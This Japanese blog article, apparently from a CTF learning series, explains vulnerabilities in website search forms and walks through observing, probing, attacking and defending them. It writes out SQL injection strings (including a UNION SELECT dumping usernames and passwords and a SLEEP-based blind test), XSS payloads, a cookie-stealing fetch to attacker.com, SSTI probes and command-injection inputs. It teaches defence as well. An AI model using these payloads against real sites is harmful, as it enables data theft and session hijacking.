【検索フォームは脆弱性の宝庫】XSS・SQLi・入力検証の急所|CTF思考フレームワーク #04
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 Webフォーム編 #04 / 公開中 7記事 → シリーズ一覧を見る →
検索ボックスは「ユーザー入力をそのままクエリに使う」場所。攻撃者にとってSQLi・XSS・コマンドインジェクションの宝庫です🎁
インジェクション系の入門。HTTPとSQLの基本があればOK👌
ECサイトでもブログでも、必ずある「検索ボックス」。便利な機能ほど穴が深く、ここから一発で全データを抜かれることもあります。攻撃者の視点で見てみましょう✨
👀 観察フェーズ:まず何を見る?

検索ってDBとUIの両方を触るから、攻撃面が二重に広いんだ。
検索フォームは「ユーザー入力をそのまま処理」する場所だらけ。URLパラメータとDOM挿入箇所に注目🔍
結果ページのソースをCtrl+Uで見て、検索ワードがどう埋め込まれているか追うと攻撃面が見えてきます👀

検索キーワードがそのままURLや画面に出てくるのって、よく見るけど…💧
🤔 仮説フェーズ:攻撃者ならどう考える?

検索の入力 → DB問い合わせ → 結果表示、それぞれに別の脆弱性が潜むよ。
検索フォームはSQLi・XSS・SSTIの3大インジェクションが揃う”宝庫”。代表的な4つの仮説を見ていきます。
💉 仮説①:検索キーワードが直接SQLに連結されている
プレースホルダを使わず文字列連結でSQL組み立てしていると、' OR 1=1--や' UNION SELECTでDB全件抽出される可能性。エラーメッセージにSQL構文が出るのも危険サイン。

え、検索ボックスに'入れただけでエラーが変わるってことは…そのまま実行されてるの!?
⚡ 仮説②:検索ワードがそのまま画面に表示される
「’xxx’ の検索結果」のような表示で、ユーザー入力をエスケープせずDOM挿入していると反射型XSSが成立。<script>タグを仕込まれてCookie窃取に直結。

検索結果に入れた文字がそのまま出るのって、危ない兆候なの…?
🧨 仮説③:テンプレートエンジンに値が渡る(SSTI)
Jinja2やTwigなどのテンプレートエンジンがユーザー入力を直接renderしていると、{{7*7}}が49で評価される=サーバ側コード実行(RCE)に直結。最も危険な脆弱性のひとつ。

え、{{7*7}}が49になったらサーバー乗っ取りレベルなの!?
🔎 仮説④:オートコンプリートAPIが情報を漏らす
サジェストAPIが認証なしで叩けたり、ユーザー名・メアドの一部を返したりすると、攻撃者は1文字ずつ試行して登録者リストを作れます。プライバシー漏洩の典型。

便利機能のオートコンプリートが列挙の踏み台に…意外な落とし穴だ💧
検索フォームは入口・処理・出力すべてに罠がある場所。プレースホルダ+出力エスケープが基本💡
🔬 検証フェーズ:実際に試す手順

検索の検証は特殊文字を一個ずつ試すのが鉄則。一気に複雑なペイロード入れない方が分かりやすいよ。
仮説を実際に試して確認します。必ず自分の環境か、許可された環境で。
検索欄に <script>alert(1)</script> や "><img onerror="alert(1)" src="x"> を入れて、結果ページでアラートが出るか確認。
‘ OR 1=1 –、’ UNION SELECT NULL– などを入れて、結果が増減したりエラーが出るか確認。UNIONはカラム数一致が必須なので、' UNION SELECT NULL,NULL--のようにNULLを1つずつ増やしてカラム数を当てる。
URLに admin=1, debug=true, role=admin を勝手に追加。レスポンスが変わる=マスアサインメントの可能性。
‘ AND SLEEP(5)– を投げてレスポンスが5秒遅れたらブラインドSQLi。条件分岐型もtrue/false判定できる。
検索バックエンドがshellコマンド経由なら ; ls や | whoami が刺さることも(古い構成で稀に)。

うわ、'と<を入れるだけで反応が変わるって、それだけでヒントなの…!?

そう、エスケープしているか/していないかはその一文字で見えてくる。怖い…じゃなくて凄く大事な観察。
⚔️ 攻撃フェーズ:攻撃者ならこう攻める

“なぜ通るか”を理解するのがゴール。攻撃の原理がわかれば対策も自然に見えるよ。
検証で「ここ弱いな」と判断したら、実際の攻撃に移ります。検索フォームでよくある攻撃はこの3パターン。
‘ UNION SELECT username, password FROM users– でユーザーテーブル全部抜き取り。情報漏洩の典型パターン💥
<script>fetch("//attacker.com?c="+document.cookie)</script> を仕込んだURLを被害者にクリックさせ、セッションCookieを窃取🍪
検索結果ページがJinja2/Twigなどテンプレートエンジンで動いてると、{{7*7}}が49で評価される=RCEに繋がる超危険脆弱性☠️

えっ、SQLiでDB全部抜かれるのもSSTIでサーバ乗っ取りも…検索ボックスからこんなに広がるの!?💧
結果として、こんな”フラグ”を取られちゃうイメージ:
?q=' UNION SELECT username,password FROM users--
→ 検索結果に admin / 5f4dcc3b... が表示
FLAG{sql_injection_in_search}検索1箇所からデータベース丸ごと抜かれることもあります。インパクト極大の攻撃面です🚨
🛡️ 防御フェーズ:どう守る?

やっとお待ちかね、守る側の打ち手。検索はプレースホルダ+出力エスケープ+CSPの3点セットだよ。
攻撃側を理解したら、守る側の打ち手も見えてきます。設計・実装・運用の3レイヤーで考えるのがコツ🛡️
- 検索クエリは必ずプレースホルダ/パラメータ化
- 出力時はHTMLエスケープ(<>&”)必須
- CSP(Content-Security-Policy)でinline-script禁止
- ORM使用時もraw queryに注意(Sequelize/Prisma等)
- 検索エラーは汎用メッセージで返す(DB情報漏らさない)
- WAFでインジェクションペイロードをブロック(※WAFは多層防御の最後の保険。根本対策はプレースホルダや出力エスケープなど実装側で行う)
- DB接続ユーザーは検索対象テーブルのみ参照権限
- 検索ログ監視(’OR ‘1’=’1 など既知パターン検知)
- ペネトレーションテストで定期確認

なるほど…プレースホルダ・エスケープ・CSPの組み合わせか。どれか1個破られても他で守れるってことだね!

その通り。入力・処理・出力でそれぞれ守るのが多層防御の本質だよ🛡️
🛡️ 今日からできる対策ツール
パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- フロントエンドでバリデーションして満足する(サーバー側必須)
- エスケープを忘れて、結果ページにそのままユーザー入力を出力
- sort, filter パラメータをORMに直接渡してSQLi発生
🧰 ツール早見表
| ツール | 何ができる | 使いどころ |
|---|---|---|
| sqlmap | SQLi自動検出・抽出 | 検証〜攻撃フェーズ(演習のみ) |
| Burp Suite | パラメータ改ざん | 観察〜検証 |
| XSStrike | XSS自動検出 | XSS検証 |
| ffuf | パラメータ列挙 | 隠れたパラメータ発見 |
🎓 本気で学びたい人へ
Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。
📚 もっと深く学びたい人へ
体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚
📚 次に読みたい
📰 関連の実例・ニュース解説
この攻撃が実際に使われた事件・対策ガイドはこちら:
CTF・セキュリティ学習ハブページへ


